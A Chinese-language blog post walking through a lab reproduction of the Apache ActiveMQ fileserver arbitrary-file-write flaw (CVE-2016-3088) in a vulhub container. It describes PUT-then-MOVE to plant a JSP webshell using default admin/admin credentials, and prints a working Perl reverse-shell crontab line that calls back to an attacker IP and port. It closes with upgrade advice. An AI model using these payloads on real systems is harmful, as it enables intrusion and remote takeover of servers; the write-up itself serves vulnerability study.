记一次ActiveMQ漏洞利用

ActiveMQ介绍:

Apache ActiveMQ 是 Apache 软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务、集群、Spring Framework 等。随着中间件的启动,会打开两个端口,61616 是工作端口,消息在这个端口进行传递;8161 是 Web 管理控制台。

ActiveMQ任意文件写入漏洞

ActiveMQ 的 web 控制台分三个应用:admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,可以通过GET、PUT、MOVE等HTTP请求对其中存储的文件进行读写操作,但后来发现其使用率并不高,并且容易出现漏洞。

所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。

漏洞详情:

本漏洞出现在 fileserver 应用中,漏洞原理很简单,就是 fileserver 支持写入文件(但不解析jsp),但是支持移动文件(MOVE请求)。我们可以将jsp的文件PUT到 fileserver 下,然后再通过Move指令移动到可执行目录下(admin和api),造成任意文件写入漏洞。

文件写入常用的有下面两种方式:

  • 写入webshell
  • 写入cron或ssh key等文件

写入webshell的好处是,门槛低更方便,前面说了 fileserver 不解析jsp,admin和api两个应用都需要登录才能访问,所以存在默认用户登录的情况可以用这种;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;

环境搭建:

靶场路径:

vulhub/activemq/CVE-2016-3088/

启动容器:

docker-compose up -d

在这里插入图片描述

复现过程:

访问环境:
记一次ActiveMQ漏洞利用_第1张图片
分别用两种方式复现一下。

1、写入webshell:

本环境的账号密码就是默认的 admin/admin。上传个文件到 fileserver看一下,发现 jsp 类型的文件上传失败,改为 txt 上传成功。(有些情况下是可以直接上传 jsp 的,但是解析不了还是要移动文件)
记一次ActiveMQ漏洞利用_第2张图片
记一次ActiveMQ漏洞利用_第3张图片
接着移动到 admin 或 api 路径下并改后缀名为jsp就行了,但是需要知道上传路径,可通过 /admin/test/systemProperties.jsp 查看 ActiveMQ 的绝对路径
记一次ActiveMQ漏洞利用_第4张图片
移动到 api 下,并且改后缀名
记一次ActiveMQ漏洞利用_第5张图片
成功移动文件,访问 api/test.jsp 成功解析。
记一次ActiveMQ漏洞利用_第6张图片
同理如果上传一个冰蝎马就能getshell了。连接冰蝎马的时候因为要登录验证,所以需要加 headers 头

Authorization:Basic YWRtaW46YWRtaW4=

记一次ActiveMQ漏洞利用_第7张图片
记一次ActiveMQ漏洞利用_第8张图片

2、写入crontab,自动化弹shell

在 /admin/test/systemProperties.jsp 可以看到运行ActiveMQ的用户是root,也就是说可以使用这种方法。
记一次ActiveMQ漏洞利用_第9张图片

首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败)
记一次ActiveMQ漏洞利用_第10张图片

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.50.131";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

解释:这里反弹 shell 用的是 perl shell(bash shell 用不了),能成功的前提是服务器上安装了perl(看运气)。

  • */1 * * * * 表示定时任务执行时间是每分钟一次
  • root 表示执行定时任务的用户
  • /usr/bin/perl 是 perl 的绝对路径
  • $i为攻击机ip,$p为攻击机监听的端口

如果上述两个请求都返回204了,说明写入成功。监听端口,反弹 shell 成功。
记一次ActiveMQ漏洞利用_第11张图片

漏洞防御:

ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

你可能感兴趣的:(activemq)